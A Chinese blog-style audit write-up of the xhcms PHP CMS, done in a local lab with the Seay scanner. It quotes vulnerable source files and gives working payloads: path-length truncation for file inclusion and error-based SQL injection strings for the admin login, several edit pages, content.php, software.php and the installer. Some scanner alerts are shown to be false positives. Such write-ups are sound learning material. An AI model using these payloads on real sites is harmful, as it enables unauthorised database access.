代码审计(二)xhcms代码审计

第一次审计,抱着学习的态度,从一个初学者的角度去尝试摸石头过河,踩坑,跳坑,并做个记录吧:

一、环境安装

使用phpstudy 5.4.45+mysql5.5.53进行搭建(这个cms比较老,用php7会出问题)。

去网上下载xhcms源码(https://down.chinaz.com/),解压到phpstudy根目录,启动phpstudy,访问安装并安装即可。

(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个testxhcms数据库使用))

审计过程

先了解一下目录结构

admin 管理后台文件夹
css 存放css的文件夹
files 存放页面的文件夹
images 存放图片的文件夹
inc 存放网站配置文件的文件夹
install 网站进行安装的文件夹
seacmseditor 编辑器文件夹
template 模板文件夹
upload 上传功能文件夹
index.php 网站首页

一个个看文件不太现实,用一用工具吧,先使用seay自动化代码审计工具扫一下:

可以看到,有爆出34个可疑位置,接下来就一个个去分析代码,进行尝试。

一、第一条检测结果 首页/后台文件包含漏洞

index.php以及admin/index.php

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

分析代码:

第一行的注释里面有写”单一入口模式”,这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口(具体造成的影响在我们后面使用文件时会再次提到来进行理解)。

第二行的error_reporting(0);表示关闭所有PHP错误报告。

addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。

第四行、第五行,通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给$action,”.“在PHP里是拼接的作用,因此就是把第四行传递的变量$file(到这里是$action,因为上一行$file赋值给了$action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的”.php”这个后缀,最终载入拼接后的相应文件。

那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀

我们需要截断后面的 .php 后缀,因此使用Windows文件名字的特性及Windows文件名的全路径限制进行截断。1.Windows下在文件名字后面加 “.” 不影响文件。

2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在我这几次测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable

先在网站根目录下写一个phpinfo用于测试:test.txt

1
<? php phpinfo(); ?>
1
2
3
4
5
6
7
8
9
10
00截断利用条件 //此处由于addslashes()函数导致不可用
1、magic_quotes_gpc =off
2、php版本小于5.3.4

?截断失败
长度截断可用:
//php版本=5.2.17、Virtual Directory Support=enable
payload:
1.?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
2.?r=../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

二、sql注入

/admin/files/login.php
1
2
3
4
5
6
7
8
9
10
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

对$user变量未作过滤,直接单引号包裹带入查询,存在sql注入,打一打(测试未屏蔽报错,用报错注入):

payload:

1
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))-- 

成功爆出数据库

/admin/files/adset.php报警SQL注入漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$ad = mysql_fetch_array($resul);

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>

分析代码,报警处三个可控变量ad1-ad3都经过了addlashes()函数处理,因此此处其实不存在sql注入漏洞,属于误报。

下一个

/admin/files/editcolumn.php

双击打开文件,首先看到的还不是报错位置,而是文件开头,直接吸引了我的目光,关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

可以看到,id、type都是直接通过GET方式传入进来,然后单引号闭合,未作任何其他过滤就开始进入数据库查询。因此我们先登陆进后台,然后去包含这个文件(前面我们提到index.php文件中的单一入口模式,这也就导致这个文件夹下的所有文件都需要这么去使用)否则由于权限问题会产生报错如下:

进入此页面进行利用尝试:

1
http://192.168.121.130/xhcms/admin/?r=editcolumn

由上分析,直接GET传参尝试利用:(要进入连接数据库部分,因此type需要满足条件1或2,这里随便选择1)没有屏蔽报错,所以懒得测试字段什么的,直接采用报错注入,payload:

1
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

成功注出数据库,后面就不写了,流程一套就是。

言归正传,报警处代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;
}
$tuijian=$_POST['tuijian'];
if ($tuijian==""){
$$tuijian=0;
}

$content=$_POST['content'];

if ($save==1){

if ($name==""){
echo "<script>alert('抱歉,栏目名称不能为空。');history.back()</script>";
exit;
}

if ($type==1){
$query = "UPDATE nav SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,一级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}

if ($type==2){
$query = "UPDATE navclass SET
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
tuijian='$tuijian',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());

echo "<script>alert('亲爱的,二级栏目已经成功编辑。');location.href='?r=columnlist'</script>";
exit;
}

其实就是在刚刚代码下面,漏洞出现方式和它一摸一样(除了此处是POST传参),因此不再详谈。

下一个

关键代码:

1
2
3
4
5
6
7
8
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$linklistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//Id不做过滤,直接传入查询
$link = mysql_fetch_array($resul);
1
2
3
4
5
6
7
8
9
10
11
12
$query = "UPDATE link SET 
name='$name',
url='$url',
mail='$mail',
jieshao='$jieshao',
xs='$xs',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>";
exit;
//name等参数不做过滤,直接传入查询更新

同样的漏洞出现方式,对可控变量不做过滤,直接单引号闭合开始查询更新数据。利用payload:

1
?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

或者POST注入(直接填在框内,点击保存)

1
name=1&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'

下一个

/admin/files/editsoft.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//典中点,不再提
$download = mysql_fetch_array($resul);

$save=$_POST['save'];
$title=$_POST['title'];
$author=$_POST['author'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$images=$_POST['images'];
$daxiao=$_POST['daxiao'];
$language=$_POST['language'];
$version=$_POST['version'];
$demo=$_POST['demo'];
$url=$_POST['url'];
$softadd=$_POST['softadd'];
$softadd2=$_POST['softadd2'];
$content=$_POST['content'];
$xs=$_POST['xs'];
if ($xs==""){ $xs=1;}

if ($save==1){
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$query = "UPDATE download SET 
title='$title',
keywords='$keywords',
description='$description',
$images
daxiao='$daxiao',
language='$language',
version='$version',
author='$author',
demo='$demo',
url='$url',
softadd='$softadd',
softadd2='$softadd2',
xs='$xs',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,下载,".$imgsms."成功更新。');location.href='?r=softlist'</script>";
exit;

同上,典中点无脑sql,不再提

下一个

/admin/files/editwz.php

一样的注入

1
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
/admin/files/imageset.php
1
2
3
4
5
6
7
8
9
10
11
12
13
if ($filename<>""){
$images="img_logo='$filename',";
}
$query = "UPDATE imageset SET
img_kg='$img_kg',
$images
img_weizhi='$img_weizhi',
img_slt='$img_slt',
img_moshi='$img_moshi',
img_wzkd='$img_wzkd',
img_wzgd='$img_wzgd'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,图片设置成功更新。');location.href='?r=imageset'</script>";

同样的注入问题,不再详说,不过这个文件里宁一段代码引起了我的注意:

1
2
3
4
5
6
7
8
9
10
11
12
if(!empty($_FILES['images']['tmp_name'])){
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
}

包含了个../inc/up.class.php,文件上传相关,不得不引人注目,此处没有利用点,跟进一下这个包含的文件看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
<?php
class FileUpload_Single
{
//user define -------------------------------------
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|bmp|png";//string jpg|gif|bmp ...
var $filePrefix= "";//上传后的文件名前缀,可设置为空
var $changNameMode=0;//图片改名的规则,暂时只有三类,值范围 : 0 至 2 任一值
var $uploadFile;//array upload file attribute
var $newFileName;
var $error;

function TODO()
{//main 主类:设好参数,可以直接调用
$pass = true ;
if ( ! $this -> GetFileAttri() )
{
$pass = false;
}
if( ! $this -> CheckFileMIMEType() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('图片类型不正确,允许格式:jpg|jpeg|gif|bmp。');history.back()</script>");
}

if( ! $this -> CheckFileAttri_size() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('上传的文件太大,请确保在".$fileSize."K以内。');history.back()</script>");
return false;
}

if ( ! $this -> MoveFileToNewPath() )
{
$pass = false;
$this -> error .= die("<script language=\"javascript\">alert('上传失败!文件移动发生错误!');history.back()</script>");
}
return $pass;
}
function GetFileAttri()
{
foreach( $_FILES as $tmp )
{
$this -> uploadFile = $tmp;
}
return (empty( $this -> uploadFile[ 'name' ])) ? false : true;
}

function CheckFileAttri_size()
{
if ( ! empty ( $this -> fileSize ))
{
if ( is_numeric( $this -> fileSize ))
{
if ($this -> fileSize > 0)
{
return ($this -> uploadFile[ 'size' ] > $this -> fileSize * 1024) ? false : true ;
}
}
else
{
return false;
}
}
else
{
return false;
}
}
function ChangeFileName ($prefix = NULL , $mode)
{// string $prefix , int $mode
$fullName = (isset($prefix)) ? $prefix."" : NULL ;
switch ($mode)
{
case 0 : $fullName .= rand( 0 , 100 ). "_" .strtolower(date ("ldSfFYhisa")) ; break;
case 1 : $fullName .= rand( 0 , 100 ). "_" .time(); break;
case 2 : $fullName .= rand( 0 , 10000 ) . time(); break;
default : $fullName .= rand( 0 , 10000 ) . time(); break;
}
return $fullName;
}
function MoveFileToNewPath()
{
$newFileName = NULL;
$newFileName = $this -> ChangeFileName( $this -> filePrefix , 2 ). "." . $this -> GetFileTypeToString();
//检查目录是否存在,不存在则创建,当时我用的时候添加了这个功能,觉得没用的就注释掉吧
/*
$isFile = file_exists( $this -> accessPath);
clearstatcache();
if( ! $isFile && !is_dir($this -> accessPath) )
{
echo $this -> accessPath;
@mkdir($this -> accessPath);
}*/
$array_dir=explode("/",$this -> accessPath);//把多级目录分别放到数组中
for($i=0;$i<count($array_dir);$i++){
$path .= $array_dir[$i]."/";
if(!file_exists($path)){
mkdir($path);
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////
if ( move_uploaded_file( $this -> uploadFile[ 'tmp_name' ] , realpath( $this -> accessPath ) . "/" . $newFileName ) )
{
$this -> newFileName = $newFileName;
return true;
}else{
return false;
}
/////////////////////////////////////////////////////////////////////////////////////////////////
}
function CheckFileExist( $path = NULL)
{
return ($path == NULL) ? false : ((file_exists($path)) ? true : false);
}
function GetFileMIME()
{
return $this->GetFileTypeToString();
}
function CheckFileMIMEType()
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
}
else
{
return false;
}
}
else
{
return false;
}
return $pass;
}

function GetFileTypeToString()
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
}
?>

很不幸,处理严格,没发现可利用点(或者是实力不足,有问题没看出来?遗憾~~~)

下一个

/admin/files/manageinfo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$query = "UPDATE content SET 
navclass='$navclass',
title='$title',
toutiao='$toutiao',
author='$author',
keywords='$keywords',
description='$description',
xs='$xs',
$images
content='$content',
editdate=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,文章,".$imgsms."成功修改。');location.href='?r=wzlist'</script>";
exit;

同上,差异不大,直接post框内注入即可

下一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];

if ($save==1){

if ($name==""){
echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>";
exit;
}
if ($url==""){
echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>";
exit;
}

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功添加。');location.href='?r=linklist'</script>";
exit;

这里终于有了一点不同(仅限于sql语句,555555)没有新意,还是构造闭合直接开注即可

1
2
name=123&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
//框中填写提交即可

下一个:

/admin/files/reply.php

无新意,不再提

下一个

/files/content.php

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏?
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);

$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);

//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护,
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>

注意到两处:

1
$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏?
1
2
3
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护,那防了个寂寞,直接开注
payload:
http://127.0.0.1/index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

下一个

/admin/files/seniorset.php 和 /admin/files/site.php和/files/downlows.php

依旧无新意直接注入即可

下一个

/files/software.php
1
2
3
4
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);

默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

因为这里被GET传值就已经默认运行addslashes(),所以再次使用addslashes()就不起作用了,所以我们依旧还是可以进行报错注入。

1
2
payload:
?r=software&cid=1'or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))

下一个

/install/index.php重装注入

关键代码

1
2
3
4
5
6
7
$conn = @mysql_connect($dbhost,$dbuser,$dbpwd) or die('数据库连接失败,错误信息:'.mysql_error());
mysql_select_db($dbname) or die('数据库错误,错误信息:'.mysql_error());
mysql_query('SET NAMES UTF8') or die('字符集设置错误'.mysql_error());

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "管理信息已经成功写入!<br /><br />";

user、password等变量未经过滤直接拼接,存在可利用注入。尝试利用(重装需要先删除/install目录下的InstallLock.txt文件,然后访问根目录,开始重装)

payload:

1
1' or extractvalue(1,concat(0x7e,(select version()),0x7e))#

1
2
3
4
5
6
7
8
9
请勿刷新及关闭浏览器以防止程序被中止,如有不慎!将导致数据库结构受损
正在导入备份数据,请稍等!
正在导入sql:seacms.sql
数据库导入成功!
正在导入sql:seacms.sql
数据库导入成功!
MySQL数据库连接配置成功!
修改错误:XPATH syntax error: '~5.5.53~'
//可以看到爆出数据库版本5.5.53

到此处,我能找到的sql相关的漏洞就结束了,说实话,这个cms不愧是足够老,足够适合新手,这sql漏洞基本没有防御。

三、文件包含文件读取

/files/downloads.php

seay报警此文件有危险的任意文件包含,文件下载

看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php
require 'inc/conn.php';
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求!";
exit;}
$query = "SELECT * FROM download WHERE ( id='$fileid')";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$down= mysql_fetch_array($result);
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>";
exit;
}
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误:'.mysql_error());

header("Location: $fileadd2");
exit;
}

if ($type=='soft' AND ($line=="telcom" OR $line=="unicom")){
$filename=$down['title'];
$filename2=$down['version'];
$filename=iconv("UTF-8", "GBK", $filename);
$houzhui=substr($fileadd,strrpos($fileadd,"."));
$sourceFile = $fileadd; //要下载的临时文件名
$outFile = $filename." ".$filename2.$houzhui; //下载保存到客户端的文件名
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1)); //获取文件扩展名
//echo $sourceFile;
//if (!ereg("[tmp|txt|rar|pdf|doc]", $file_extension))exit ("非法资源下载");
//检测文件是否存在
if (!is_file($sourceFile)) {
die("<script language=JavaScript>alert('抱歉,本地下载未发现文件,请选择网盘下载!');history.back();window.close();</script>");
}
$len = filesize($sourceFile); //获取文件大小
$filename = basename($sourceFile); //获取文件名字
$outFile_extension = strtolower(substr(strrchr($outFile, "."), 1)); //获取文件扩展名
//根据扩展名 指出输出浏览器格式
switch ($outFile_extension) {
case "exe" :
$ctype = "application/octet-stream";
break;
case "zip" :
$ctype = "application/zip";
break;
case "mp3" :
$ctype = "audio/mpeg";
break;
case "mpg" :
$ctype = "video/mpeg";
break;
case "avi" :
$ctype = "video/x-msvideo";
break;
default :
$ctype = "application/force-download";
}
//Begin writing headers
header("Cache-Control:");
header("Cache-Control: public");

//设置输出浏览器格式
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=" . $outFile);
header("Accept-Ranges: bytes");
$size = filesize($sourceFile);
//如果有$_SERVER['HTTP_RANGE']参数
if (isset ($_SERVER['HTTP_RANGE'])) {
/*Range头域   Range头域可以请求实体的一个或者多个子范围。
例如,
表示头500个字节:bytes=0-499
表示第二个500字节:bytes=500-999
表示最后500个字节:bytes=-500
表示500字节以后的范围:bytes=500-   
第一个和最后一个字节:bytes=0-0,-1   
同时指定几个范围:bytes=500-600,601-999   
但是服务器可以忽略此请求头,如果无条件GET包含Range请求头,响应会以状态码206(PartialContent)返回而不是以200 (OK)。
*/
// 断点后再次连接 $_SERVER['HTTP_RANGE'] 的值 bytes=4390912-
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
//if yes, download missing part
str_replace($range, "-", $range); //这句干什么的呢。。。。
$size2 = $size -1; //文件总字节数
$new_length = $size2 - $range; //获取下次下载的长度
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length"); //输入总长
header("Content-Range: bytes $range$size2/$size"); //Content-Range: bytes 4908618-4988927/4988928 95%的时候
} else {
//第一次连接
$size2 = $size -1;
header("Content-Range: bytes 0-$size2/$size"); //Content-Range: bytes 0-4988927/4988928
header("Content-Length: " . $size); //输出总长
}
//打开文件
$fp = fopen("$sourceFile", "rb");
//设置指针位置
fseek($fp, $range);
//虚幻输出
while (!feof($fp)) {
//设置文件最长执行时间
set_time_limit(0);
print (fread($fp, 1024 * 8)); //输出文件
flush(); //输出缓冲
ob_flush();
}
fclose($fp);
//下载计数
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误:'.mysql_error());
exit ();
}
?>

报警处在

1
2
3
4
5
6
7
8
9
10
11
12
$fp = fopen("$sourceFile", "rb");  
//设置指针位置
fseek($fp, $range);
//虚幻输出
while (!feof($fp)) {
//设置文件最长执行时间
set_time_limit(0);
print (fread($fp, 1024 * 8)); //输出文件
flush(); //输出缓冲
ob_flush();
}
fclose($fp);

fread()函数,字节输出文件,跟进变量$fp–>$sourceFile

1
2
3
4
5
$houzhui=substr($fileadd,strrpos($fileadd,"."));
$sourceFile = $fileadd; //要下载的临时文件名
$outFile = $filename." ".$filename2.$houzhui; //下载保存到客户端的文件名
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1)); //获取文件扩展名
##### //echo $sourceFile;

继续跟进$fileadd–>$down

1
2
3
4
5
6
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>";
exit;

继续$down

1
2
3
4
5
6
7
8
9
10
11
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求!";
exit;}
$query = "SELECT * FROM download WHERE ( id='$fileid')";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$down= mysql_fetch_array($result);
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];

跟进到此处,希望断绝,$down来自数据库查询结果$result,而$result的来源GET参数cid经过了addlashes()函数处理,变得不可控,因此此处变量实际不可控制,导致爆出的任意文件操作漏洞成为误报。并且由于addlashes()函数的存在,且后面的变量处理(”SELECT * FROM download WHERE ( id=’$fileid’)”)严格,又导致刚刚有希望的sql注入希望破灭。

不纠结,下一个

/inc/db.class.php

seay爆此文件有任意文件操作漏洞,看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@param string $sql

\* @param string $filename

\* @param string $dir

\* @return boolean

*/

private function _write_file($sql, $filename, $dir) {
$dir = $dir ? $dir : './backup/';
// 创建目录
if (! is_dir ( $dir )) {
mkdir ( $dir, 0777, true );
}
$re = true;
if (! @$fp = fopen ( $dir . $filename, "w+" )) {
$re = false;
$this->_showMsg("打开sql文件失败!",true);
}
if (! @fwrite ( $fp, $sql )) {
$re = false;
$this->_showMsg("写入sql文件失败,请文件是否可写",true);
}
if (! @fclose ( $fp )) {
$re = false;
$this->_showMsg("关闭sql文件失败!",true);
}
return $re;
}

追踪变量$fp,

1
! @$fp = fopen ( $dir . $filename, "w+" )

由变量$dir和$filename控制,但这两个参数不可控,因此变量$fp也不可控,所以此处因该是误报。

seay提到的文件操作漏洞就结束了,基本都是误报,变量一步步追溯到最后都不可控,可能是调用链长一些,就容易导致误报。

四、XSS

存储型xss
/seacmseditor/php/controller.php

seay工具报echo中存在可控变量,可能存在xss,打开看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 输出结果 */
if (isset($_GET["callback"])) {
if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
} else {
echo json_encode(array(

'state'=> 'callback参数不合法'
));
}
} else {
echo $result;
}

两个可疑输出点,两个可控变量,$_GET[“callback”]和$result,其中$GET[“callback”]先是经过了preg_match()函数进行/^[\w]+$/正则匹配,从头匹配任意一个字符与下划线组合一次或多次结尾,匹配到就返回1,否则返回0,又htmlspecialchars()函数进行防xss处理,看来$_GET[“callback”]变量基本没有可利用性了,再看看$result变量,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$CONFIG = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];

switch ($action) {
case 'config':
$result = json_encode($CONFIG);
break;

/* 上传图片 */
case 'uploadimage':
/* 上传涂鸦 */
case 'uploadscrawl':
/* 上传视频 */
case 'uploadvideo':
/* 上传文件 */
case 'uploadfile':
$result = include("action_upload.php");
break;

/* 列出图片 */
case 'listimage':
$result = include("action_list.php");
break;
/* 列出文件 */
case 'listfile':
$result = include("action_list.php");
break;

/* 抓取远程文件 */
case 'catchimage':
$result = include("action_crawler.php");
break;

default:
$result = json_encode(array(
'state'=> '请求地址出错'
));
break;
}

可以看到$result变量已经被限定死了,不可控,因此这处xss也是误报。到此处seay审计系统报给我们的漏洞就差不多审计完了,但是xss却没有找到,不甘心,回想之下,想到一开始**/admin/files/adset.php**文件中审计sql注入时,变量经过了addlashes()函数处理,因此sql注入被ban,但仔细看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$ad = mysql_fetch_array($resul);

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>";
exit;
}
?>

可以看到$ad1-3经过addslashes()函数处理一次带入了页面(这里很疑惑,addlashe()函数会转义预定义字符(单·双引号、反斜杠(\)、NULL),因此按理来说网上有些师傅给出的xsspayload: 如:

1
<script>alert('hahhaha')</script>

在经过处理后,单引号(’)被转义,payload应该是不能生效的才对)带着疑问进行尝试后,果然,payload失效。

